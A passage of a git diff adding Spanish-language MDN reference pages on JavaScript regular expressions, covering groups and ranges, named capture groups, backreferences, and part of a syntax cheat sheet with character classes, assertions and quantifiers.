+ <li>{{JSxRef("Objetos_globales/RegExp/unicode", "RegExp.prototype.unicode")}}</li>
+ <li><a href="https://en.wikipedia.org/wiki/Unicode_character_property">Propiedades de caracteres unicode — Wikipedia</a></li>
+ <li><a href="https://2ality.com/2017/07/regexp-unicode-property-escapes.html">Una entrada en el blog de Axel Rauschmayer sobre los escapes de propiedades Unicode</a></li>
+ <li><a href="https://unicode.org/reports/tr18/#Categories">El documento Unicode para las propiedades Unicode</a></li>
+</ul>
diff --git a/files/es/web/javascript/guide/regular_expressions/grupos_y_rangos/index.html b/files/es/web/javascript/guide/regular_expressions/grupos_y_rangos/index.html
new file mode 100644
index 0000000000..34eed03589
--- /dev/null
+++ b/files/es/web/javascript/guide/regular_expressions/grupos_y_rangos/index.html
@@ -0,0 +1,176 @@
+---
+title: Grupos y rangos
+slug: Web/JavaScript/Guide/Regular_Expressions/Grupos_y_rangos
+tags:
+  - Expresiones Regulares
+  - Guía
+  - JavaScript
+  - Rangos
+  - Referencia
+  - grupos
+  - regex
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges
+---
+<p>{{jsSidebar("JavaScript Guide")}}</p>
+
+<p>Los grupos y rangos indican grupos y rangos de caracteres de expresión.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-groups-ranges.html")}}</div>
+
+<h2 id="Tipos">Tipos</h2>
+
+<div class="hidden">La siguiente sección también está duplicada en {{JSxRef("../Guide/Regular_Expressions/Hoja_de_referencia", "esta hoja de trucos")}}. No olvides editarla también, ¡gracias!</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracteres</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><em>x</em>|<em>y</em></code></td>
+   <td>
+    <p>Coincide con "x" o "y". Por ejemplo, <code>/verde|roja/</code> coincide con "verde" en "manzana verde" y "roja" en "manzana roja".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>[xyz]<br>
+    [a-c]</code></td>
+   <td>
+    <p>Un juego de caracteres. Coincide con cualquiera de los caracteres incluidos. Puedes especificar un rango de caracteres mediante el uso de un guión, pero si el guión aparece como el primero o último caracter entre corchetes, se toma como un guión literal para incluirse en el juego de caracteres como un caracter normal. También es posible incluir una clase de caracteres en un juego de caracteres.</p>
+
+    <p>Por ejemplo, <code>[abcd]</code> es lo mismo que <code>[a-d]</code>. Coincide con la "b" en "brisket" y la "c" en "chop".</p>
+
+    <p>Por ejemplo, <code>[abcd-]</code> y <code>[-abcd]</code> coinciden con la "b" en "brisket", la "c" en "chop" y el "-" (guión) en "sin-fin".</p>
+
+    <p>Por ejemplo, <code>[\w-]</code> es lo mismo que <code>[A-Za-z0-9_-]</code>. Ambos reconocen la "b" en "brisket", la "c" en "chop" y la "s" en "sin-fin".</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>[^xyz]<br>
+     [^a-c]</code></p>
+   </td>
+   <td>
+    <p>Un juego de caracteres negado o complementado. Es decir, hallan cualquier cosa que no esté encerrada entre corchetes. Puedes especificar un rango de caracteres mediante el uso de un guión, pero si el guión aparece como el primero o último caracter entre corchetes, se toma como un guión literal para incluirse en el juego de caracteres como un caracter normal. Por ejemplo, <code>[^abc]</code> es lo mismo que <code>[^a-c]</code>. Inicialmente halla la "o" en "bacon" y la "h" en "chuleta".</p>
+
+    <div class="blockIndicator note">
+    <p>El caracter ^ también puede indicar el {{JSxRef("../Guide/Regular_Expressions/Assertions", "comienzo de la entrada")}}.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(<em>x</em>)</code></td>
+   <td>
+    <p><strong>Grupo de captura</strong>: Coincide con <code><em>x</em></code> y recuerda la coincidencia. Por ejemplo, <code>/(foo)/</code> encuentra y recuerda "foo" en "foo bar". </p>
+
+    <p>Una expresión regular puede tener varios grupos de captura. En los resultados, coincide con los grupos capturados normalmente en un arreglo cuyos miembros están en el mismo orden que los paréntesis de la izquierda en el grupo capturado. Este suele ser solo el orden de los propios grupos capturados. Esto se vuelve importante cuando los grupos capturados están anidados. Se accede a las coincidencias utilizando el índice de los elementos del resultado (<code>[1], ..., [n]</code>) o desde las propiedades predefinidas del objeto <code>RegExp</code> (<code>$1, ..., $9</code>).</p>
+
+    <p>Los grupos de captura tienen una penalización de rendimiento. Si no necesitas que se recupere la subcadena coincidente, prefiere los grupos de no captura (ve {{anch("GpoDeNoCaptura", "más abajo")}}).</p>
+
+    <p>{{JSxRef("Objetos_globales/String/match", "String.match()")}} no devolverá grupos si se establece el indicador <code>/.../g</code>. Sin embargo, aún puedes usar {{JSxRef("Objetos_globales/String/matchAll", "String.matchAll()")}} para obtener todas las coincidencias.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\<em>n</em></code></td>
+   <td>
+    <p>Donde "n" es un número entero positivo. Una referencia inversa a la última subcadena que coincide con el paréntesis <code>n</code> en la expresión regular (contando los paréntesis izquierdos). Por ejemplo, <code>/manzana(,)\snaranja\1/</code> coincide con "manzana, naranja" en "manzana, naranja, cereza, melocotón".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\k&lt;Nombre&gt;</code></td>
+   <td>
+    <p>Una referencia inversa a la última subcadena que coincide con el grupo de captura <strong>N</strong><strong>ombrado</strong> especificado por <code>&lt;Nombre&gt;</code>.</p>
+
+    <p>Por ejemplo, <code>/(?&lt;trato&gt;\w+), si \k&lt;trato&gt;/</code> coincide con "Sr., sí Sr." en "¿Me copias? ¡Sr., sí Sr.!".</p>
+
+    <div class="blockIndicator note">
+    <p>aquí se usa <code>\k</code> literalmente para indicar el comienzo de una referencia inversa a un grupo de captura con nombre.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;Nombre&gt;x)</code></td>
+   <td>
+    <p><strong>Grupo de captura con nombre</strong>: Coincide con "x" y la almacena en la propiedad de grupos de las coincidencias devueltas con el nombre especificado por <code>&lt;Nombre&gt;</code>. Los corchetes angulares (<code>&lt;</code> y <code>&gt;</code>) son necesarios para el nombre del grupo.</p>
+
+    <p>Por ejemplo, para extraer el código de área de Estados Unidos de un número de teléfono, podrías usar <code>/\((?&lt;area&gt;\d\d\d)\)/</code>. El número resultante aparecería en <code>matches.groups.area</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?:<em>x</em>)</code></td>
+   <td><span id="GpoDeNoCaptura"><strong>Grupo de no captura</strong></span>: Coincide con "x" pero no recuerda la coincidencia. La subcadena coincidente no se puede recuperar de los elementos del arreglo resultante (<code>[1], ..., [n]</code>) o de las propiedades predefinidas del objeto <code>RegExp</code> (<code>$1, ..., $9</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Conteo_de_vocales">Conteo de vocales</h3>
+
+<pre class="brush: js notranslate">var aliceExcerpt = "Hubo un largo silencio después de esto, y Alicia solo podía escuchar susurros de vez en cuando.";
+var regexpVowels = /[aeiouy]/g;
+
+console.log("Número de vocales minúsculas: ", aliceExcerpt.match(regexpVowels).length);
+// Número de vocales: 34</pre>
+
+<h3 id="Uso_de_grupos">Uso de grupos</h3>
+
+<pre class="brush: js notranslate">let personList = `First_Name: John, Last_Name: Doe
+First_Name: Jane, Last_Name: Smith`;
+
+let regexpNames =  /First_Name: (\w+), Last_Name: (\w+)/mg;
+let match = regexpNames.exec(personList);
+do {
+  console.log(`Hola ${match[1]} ${match[2]}`);
+} while((match = regexpNames.exec(personList)) !== null);
+</pre>
+
+<h3 id="Uso_de_grupos_con_nombre">Uso de grupos con nombre</h3>
+
+<pre class="brush: js notranslate">let personList = `First_Name: John, Last_Name: Doe
+First_Name: Jane, Last_Name: Smith`;
+
+let regexpNames =  /First_Name: (?&lt;firstname&gt;\w+), Last_Name: (?&lt;lastname&gt;\w+)/mg;
+let match = regexpNames.exec(personList);
+do {
+  console.log(`Hola ${match.groups.firstname} ${match.groups.lastname}`);
+} while((match = regexpNames.exec(personList)) !== null);</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: No todos los navegadores admiten esta función; consulta la {{JSxRef("../Guide/Regular_Expressions", "tabla de compatibilidad", "#Compatibilidad_del_navegador")}}.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-classranges', 'RegExp: Ranges')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>Para obtener información sobre la compatibilidad del navegador, consulta la {{JSxRef("../Guide/Regular_Expressions", "tabla principal de compatibilidad de expresiones regulares", "#Compatibilidad_del_navegador")}}.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("../Guide/Regular_Expressions", "Guía de expresiones regulares")}}
+
+  <ul>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Character_Classes", "Clases de caracteres")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Assertions", "Aserciones")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Cuantificadores", "Cuantificadores")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Escapes_de_propiedades_Unicode", "Escapes de propiedades Unicode")}}</li>
+  </ul>
+ </li>
+ <li>{{JSxRef("Objetos_globales/RegExp", "El constructor RegExp()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/guide/regular_expressions/hoja_de_referencia/index.html b/files/es/web/javascript/guide/regular_expressions/hoja_de_referencia/index.html
new file mode 100644
index 0000000000..accc783aff
--- /dev/null
+++ b/files/es/web/javascript/guide/regular_expressions/hoja_de_referencia/index.html
@@ -0,0 +1,451 @@
+---
+title: Hoja de referencia de sintaxis de expresiones regulares
+slug: Web/JavaScript/Guide/Regular_Expressions/Hoja_de_referencia
+tags:
+  - Cheatsheet
+  - Expresiones Regulares
+  - Guía
+  - Hoja de referencia
+  - JavaScript
+  - RegExp
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Cheatsheet
+---
+<div>{{jsSidebar("Guía de JavaScript")}}</div>
+
+<p><span class="seoSummary">Esta página proporciona una hoja de referencia general de todas las capacidades de la sintaxis de <code>RegExp</code> agregando el contenido de los artículos en la guía <code>RegExp</code>. Si necesitas más información sobre un tema específico, sigue el enlace del título correspondiente para acceder al artículo completo o dirígete a <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/">la guía</a>.</span></p>
+
+<h2 id="Clases_de_caracteres"><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes">Clases de caracteres</a></h2>
+
+<div class="hidden">Si deseas contribuir a este documento, edita también <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes">el artículo original</a></div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracteres</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+ </tbody>
+ <tbody>
+  <tr>
+   <td><code>.</code></td>
+   <td>
+    <p>Tiene uno de los siguientes significados:</p>
+
+    <ul>
+     <li>Encuentra cualquier caracter único <em>excepto</em> terminadores de línea: <code>\n</code>, <code>\r</code>, <code>\u2028</code> o <code>\u2029</code>. Por ejemplo, <code>/.y/</code> reconoce "my" y "ay", pero no "yes", en "yes make my day".</li>
+     <li>Dentro de un juego de caracteres, el punto pierde su significado especial y concuerda con un punto literal.</li>
+    </ul>
+
+    <p>Ten en cuenta que el indicador multilínea <code>m</code> no cambia el comportamiento del punto. Por lo tanto, para buscar en un patrón multilínea, puedes usar el juego de caracteres <code>[^]</code> — este encontrará con cualquier caracter, incluidas las nuevas líneas.</p>
+
+    <p>ES2018 agregó el indicador <code>s</code> "<em>dotAll</em>", que permite que el punto también concuerde con los terminadores de línea.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\d</code></td>
+   <td>
+    <p>Busca cualquier dígito (número arábigo). Equivalente a <code>[0-9]</code>. Por ejemplo, <code>/\d/</code> o <code>/[0-9]/</code> encuentra el "2" en "B2 es el número de suite".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\D</code></td>
+   <td>
+    <p>Busca cualquier caracter que no sea un dígito (número arábigo). Equivalente a <code>[^0-9]</code>. Por ejemplo, <code>/\D/</code> o <code>/[^0-9]/</code> encuentra la "B" en "B2 es el número de suite".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\w</code></td>
+   <td>
+    <p>Busca cualquier caracter alfanumérico del alfabeto latino básico, incluido el caracter de subrayado. Equivalente a <code>[A-Za-z0-9_]</code>. Por ejemplo, <code>/\w/</code> encuentra la "m" en "manzana", el "5" en "$5.28" y el "3" en "3D".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\W</code></td>
+   <td>
+    <p>Busca cualquier caracter que no sea un caracter de palabra del alfabeto latino básico. Equivalente a <code>[^A-Za-z0-9_]</code>. Por ejemplo, <code>/\W/</code> o <code>/[^A-Za-z0-9_]/</code> encuentra el caracter "%" en "50%".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\s</code></td>
+   <td>
+    <p>Busca un solo caracter de espacio en blanco, incluido el espacio, tabulación, avance de página, avance de línea y otros espacios Unicode. Equivalente a <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Por ejemplo, <code>/\s\w*/</code> reconoce " bar" en "foo bar".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\S</code></td>
+   <td>
+    <p>Busca un solo caracter que no sea un espacio en blanco. Equivalente a <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Por ejemplo, <code>/\S\w*/</code> encuentra "foo" en "foo bar".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>Coincide con una tabulación horizontal.</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>Coincide con un retorno de carro.</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>Coincide con un salto de línea.</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Coincide con una tabulación vertical.</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Coincide con un caracter de avance de página.</td>
+  </tr>
+  <tr>
+   <td><code>[\b]</code></td>
+   <td>Coincide con un caracter de retroceso. Si estás buscando el caracter de límite de palabra (<code>\b</code>), consulta <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries">Límites</a>.</td>
+  </tr>
+  <tr>
+   <td><code>\0</code></td>
+   <td>Coincide con un caracter <code>NUL</code>. No sigue a este con otro dígito.</td>
+  </tr>
+  <tr>
+   <td><code>\c<em>X</em></code></td>
+   <td>
+    <p>Coincide con un caracter de control usando <a href="https://en.wikipedia.org/wiki/Caret_notation">notación de acento circunflejo</a>, donde "X" es una letra de la A a la Z (correspondiente a los puntos de código <code>U+0001</code><em>-</em><code>U+001F</code>). Por ejemplo, <code>/\cM/</code> reconoce el caracter "\r" en "\r\n".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\x<em>hh</em></code></td>
+   <td>Busca el caracter con el código <code><em>hh</em></code> (dos dígitos hexadecimales).</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>hhhh</em></code></td>
+   <td>Busca una unidad de código UTF-16 con el valor <code><em>hhhh</em></code> (cuatro dígitos hexadecimales).</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>{hhhh}</em> o <em>\u{hhhhh}</em></code></td>
+   <td>(Solo cuando se establece el indicador <code>u</code>). Busca el caracter con el valor Unicode <code>U+<em>hhhh</em></code> o <code>U+<em>hhhhh</em></code> (dígitos hexadecimales).</td>
+  </tr>
+  <tr>
+   <td><code>\</code></td>
+   <td>
+    <p>Indica que el siguiente caracter se debe tratar de manera especial o "escaparse". Se comporta de dos formas.</p>
+
+    <ul>
+     <li>Para los caracteres que generalmente se tratan literalmente, indica que el siguiente caracter es especial y no se debe interpretar literalmente. Por ejemplo, <code>/b/</code> reconoce el caracter "b". Al colocar una barra invertida delante de "b", es decir, usando <code>/\b/</code>, el caracter se vuelve especial para significar que concuerda con el límite de una palabra.</li>
+     <li>Para los caracteres que generalmente se tratan de manera especial, indica que el siguiente caracter no es especial y se debe interpretar literalmente. Por ejemplo, "*" es un caracter especial que significa que deben reconocer 0 o más ocurrencias del caracter anterior; por ejemplo, <code>/a*/</code> significa reconocer 0 o más "a"s. Para emparejar el <code>*</code> literal, precédelo con una barra invertida; por ejemplo, <code>/a\*/</code> concuerda con "a*".</li>
+    </ul>
+
+    <p>Ten en cuenta que algunos caracteres como <code>:</code>, <code>-</code>, <code>@</code>, etc. no tienen un significado especial cuando se escapan ni cuando no se escapan. Las secuencias de escape como <code>\:</code>, <code>\-</code>, <code>\@</code> serán equivalentes a sus equivalentes de caracteres literales sin escapar en expresiones regulares. Sin embargo, en las expresiones regulares con <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions#Advanced_searching_with_flags_2">indicador Unicode</a>, esto provocará un error de <em>escape de identidad no válido</em>. Esto se hace para asegurar la compatibilidad con el código existente que usa nuevas secuencias de escape como <code>\p</code> o <code>\k</code>.</p>
+
+    <div class="blockIndicator note">
+    <p>Para reconocer este caracter literalmente, escápalo consigo mismo. En otras palabras, para buscar <code>\</code> usa <code>/\\/</code>.</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Aserciones"><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions">Aserciones</a></h2>
+
+<div class="hidden">Si deseas contribuir a este documento, edita también <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions">el artículo original</a></div>
+
+<h3 id="Aserciones_de_tipo_límite">Aserciones de tipo límite</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracteres</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>^</code></td>
+   <td>
+    <p>Coincide con el comienzo de la entrada. Si el indicador multilínea se establece en <code>true</code>, también busca inmediatamente después de un caracter de salto de línea. Por ejemplo, <code>/^A/</code> no reconoce la "A" en "an A", pero encuentra la primera "A" en "An A".</p>
+
+    <div class="blockIndicator note">
+    <p>Este caracter tiene un significado diferente cuando aparece al comienzo de un <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">grupo</a>.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>$</code></td>
+   <td>
+    <p>Coincide con el final de la entrada. Si el indicador multilínea se establece en <code>true</code>, también busca hasta inmediatamente antes de un caracter de salto de línea. Por ejemplo, <code>/a$/</code> no reconoce la "t" en "eater", pero sí en "eat".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>
+    <p>Marca el límite de una palabra. Esta es la posición en la que un caracter de palabra no va seguido o precedido por otro caracter de palabra, por ejemplo, entre una letra y un espacio. Ten en cuenta que el límite de una palabra encontrada no se incluye en el resultado. En otras palabras, la longitud de un límite de palabra encontrada es cero.</p>
+
+    <p>Ejemplos:</p>
+
+    <ul>
+     <li><code>/\bm/</code> reconoce la "m" en "moon".</li>
+     <li><code>/oo\b/</code> no reconoce "oo" en "moon", porque "oo" va seguido de "n", que es un caracter de palabra.</li>
+     <li><code>/oon\b/</code> encuentra "oon" en "moon", porque "oon" es el final de la cadena, por lo que no va seguido de un caracter de palabra.</li>
+     <li><code>/\w\b\w/</code> nunca encontrará nada, porque un caracter de palabra nunca puede ir seguido de un caracter que no sea de palabra y otro de palabra.</li>
+    </ul>
+
+    <p>Para encontrar un caracter de retroceso (<code>[\b]</code>), consulta <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes">Clases de caracteres</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\B</code></td>
+   <td>
+    <p>Coincide con un límite sin palabra. Esta es una posición en la que el caracter anterior y siguiente son del mismo tipo: ambos deben ser palabras o ambos deben ser no palabras, por ejemplo, entre dos letras o entre dos espacios. El principio y el final de una cadena se consideran no palabras. Igual que el límite de palabras encontradas, el límite sin palabras reconocidas tampoco se incluye en el resultado. Por ejemplo, <code>/\Bon/</code> reconoce "on" en "at noon", y <code>/ye\B/</code> encuentra "ye" en "possibly yesterday".</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Otras_aserciones">Otras aserciones</h3>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: El caracter <code>?</code> también se puede utilizar como cuantificador.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracteres</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>x(?=y)</code></td>
+   <td>
+    <p><strong>Aserción anticipada</strong>: Coincide con "x" solo si "x" va seguida de "y". Por ejemplo, /<code>Jack(?=Sprat)/</code> reconocerá a "Jack" solo si va seguida de "Sprat".<br>
+     <code>/Jack(?=Sprat|Frost)/</code> encontrará a "Jack" solo si va seguida de "Sprat" o "Frost". Sin embargo, ni "Sprat" ni "Frost" forman parte del resultado.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>x(?!y)</code></td>
+   <td>
+    <p><strong>Aserción de búsqueda anticipada negativa</strong>: reconoce la "x" solo si la "x" <span>no va seguida de</span> "y"<span>.</span> Por ejemplo, <code>/\d+(?!\.)/</code> <span>reconoce un número solo si no va seguido de un punto decimal.</span> <code>/\d+(?!\.)/.exec('3.141')</code> halla el "141" pero no el "3".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;=y)x</code></td>
+   <td>
+    <p><strong>Aserción de búsqueda inversa</strong>: encontrará "x" solo si "x" está precedida por "y". Por ejemplo, <code>/(?&lt;=Jack)Sprat/</code><span> reconoce a "Sprat" solo si está precedido por "Jack".</span> <code>/(?&lt;=Jack|Tom)Sprat/</code> empareja "Sprat" solo si está precedido por "Jack" o "Tom". Sin embargo, ni "Jack" ni "Tom" forman parte del resultado.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;!y)x</code></td>
+   <td>
+    <p><strong>Aserción de búsqueda inversa negativa</strong>: Reconoce la "x" solo si "x" no está precedida por "y". Por ejemplo, <code>/(?&lt;!-)\d+/</code> <span>encuentra un número solo si no está precedido por un signo menos</span>. <code>/(?&lt;!-)\d+/.exec('3')</code> encuentra el "3". <code>/(?&lt;!-)\d+/.exec('-3')</code> no lo reconoce porque el número está precedido por el signo menos.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Grupos_y_rangos"><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">Grupos y rangos</a></h2>
+
+<div class="hidden">Si deseas contribuir a este documento, edita también <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">el artículo original</a></div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracteres</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><em>x</em>|<em>y</em></code></td>
+   <td>
+    <p>Coincide con "x" o "y". Por ejemplo, <code>/verde|roja/</code> reconoce el "verde" en "manzana verde" y "roja" en "manzana roja".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>[xyz]<br>
+    [a-c]</code></td>
+   <td>
+    <p>Un juego de caracteres. Coincide con cualquiera de los caracteres incluidos. Puedes especificar un rango de caracteres mediante el uso de un guión, pero si el guión aparece como el primero o último caracter entre corchetes, se toma como un guión literal para incluirse en el juego de caracteres como un caracter normal. También es posible incluir una clase de caracteres en un juego de caracteres.</p>
+
+    <p>Por ejemplo, <code>[abcd]</code> es lo mismo que <code>[a-d]</code>. Coincide con la "b" en "brisket" y la "c" en "chop".</p>
+
+    <p>Por ejemplo, <code>[abcd-]</code> y <code>[-abcd]</code> reconoce la "b" en "brisket", la "c" en "chop" y el "-" (guión) en "non-profit".</p>
+
+    <p>Por ejemplo, <code>[\w-]</code> es lo mismo que <code>[A-Za-z0-9_-]</code>. Ambos reconocen la "b" en "brisket", la "c" en "chop" y la "n" en "non-profit".</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>[^xyz]<br>
+     [^a-c]</code></p>
+   </td>
+   <td>
+    <p>Un juego de caracteres negado o complementado. Es decir, hallan cualquier cosa que no esté encerrada entre corchetes. Puedes especificar un rango de caracteres mediante el uso de un guión, pero si el guión aparece como el primero o último caracter entre corchetes, se toma como un guión literal para incluirse en el juego de caracteres como un caracter normal. Por ejemplo, <code>[^abc]</code> es lo mismo que <code>[^a-c]</code>. Inicialmente halla la "o" en "bacon" y la "h" en "chuleta".</p>
+
+    <div class="blockIndicator note">
+    <p>El caracter ^ además puede indicar el <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries">comienzo de la entrada</a>.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(<em>x</em>)</code></td>
+   <td>
+    <p><strong>Grupo de captura</strong>: Encuentra la <code><em>x</em></code> y la recuerda. Por ejemplo, <code>/(foo)/</code> encuentra y recuerda "foo" en "foo bar". </p>
+
+    <p>Una expresión regular puede tener varios grupos de captura. En los resultados, coincide con los grupos capturados normalmente en un arreglo cuyos miembros están en el mismo orden que los paréntesis de la izquierda en el grupo capturado. Este suele ser solo el orden de los propios grupos capturados. Esto se vuelve importante cuando los grupos capturados están anidados. Se accede a las coincidencias utilizando el índice de los elementos del resultado (<code>[1], ..., [n]</code>) o desde las propiedades predefinidas del objeto <code>RegExp</code> (<code>$1, ..., $9</code>).</p>
+
+    <p>Los grupos de captura tienen una penalización de rendimiento. Si no necesitas que se recupere la subcadena coincidente, prefiere los paréntesis que no capturen (ve más abajo).</p>
+
+    <p><code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/String/match">String.match()</a></code> no devolverá grupos si el indicador <code>/.../g</code> está configurado. Sin embargo, aún puedes usar <code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/String/matchAll">String.matchAll()</a></code> para obtener todas los encontrados.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\<em>n</em></code></td>
+   <td>
+    <p>Donde "n" es un número entero positivo. Una referencia posterior a la última subcadena que coincide con el paréntesis n en la expresión regular (contando los paréntesis izquierdos). Por ejemplo, <code>/apple(,)\sorange\1/</code> coincide con "apple, orange" en "apple, orange, cherry, peach".</p>
+   </td>
+  </tr>
+  <tr>
+   <td>\k&lt;Name&gt;</td>
+   <td>
+    <p>Una referencia inversa a la última subcadena encontrada con el grupo de captura <strong>N</strong><strong>ombrado</strong> especificado por <code>&lt;Name&gt;</code>.</p>
+
+    <p>Por ejemplo, <code>/(?&lt;title&gt;\w+), yes \k&lt;title&gt;/</code> concuerda con "Sir, yes Sir" en "Do you copy? Sir, yes Sir!".</p>
+
+    <div class="blockIndicator note">
+    <p><code>\k</code> aquí se usa literalmente para indicar el comienzo de una referencia a un grupo de captura nombrado.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;Name&gt;x)</code></td>
+   <td>
+    <p><strong>Grupo de captura nombrado</strong>: reconoce la "x" y la almacena en la propiedad <code>group</code> del resultado devuelto bajo el nombre especificado por <code>&lt;Name&gt;</code>. Los corchetes angulares (<code>&lt;</code> y <code>&gt;</code>) son obligatorios para el nombre del grupo.</p>
+
+    <p>Por ejemplo, para extraer el código de área de Estados Unidos de un número de teléfono, podríamos usar <code>/\((?&lt;area&gt;\d\d\d)\)/</code>. El número resultante debería aparecer en <code>matches.groups.area</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?:<em>x</em>)</code></td>
+   <td><strong>Grupo sin captura</strong>: reconoce la "x" pero no recuerda el resultado. La subcadena encontrada no se puede recuperar de los elementos del arreglo resultante (<code>[1], ..., [n]</code>) o de las propiedades predefinidas del objeto <code>RegExp</code> (<code>$1, ..., $9</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cuantificadores"><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers">Cuantificadores</a></h2>
+
+<div class="hidden">Si deseas contribuir a este documento, edita también <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers">el artículo original</a></div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: A continuación, <em>elemento</em> se refiere no solo a caracteres singulares, sino que también incluye <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes">clases de caracteres</a>, <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">escapes de propiedad Unicode</a>, <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">grupos y rangos</a>.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracteres</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><em>x</em>*</code></td>
+   <td>
+    <p>Concuerda 0 o más veces con el elemento "x" anterior. Por ejemplo, <code>/bo*/</code> reconoce a "boooo" en "Un fantasma booooed" y "b" en "A bird warbled", pero nada en "Una cabra gruñó".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>+</code></td>
+   <td>
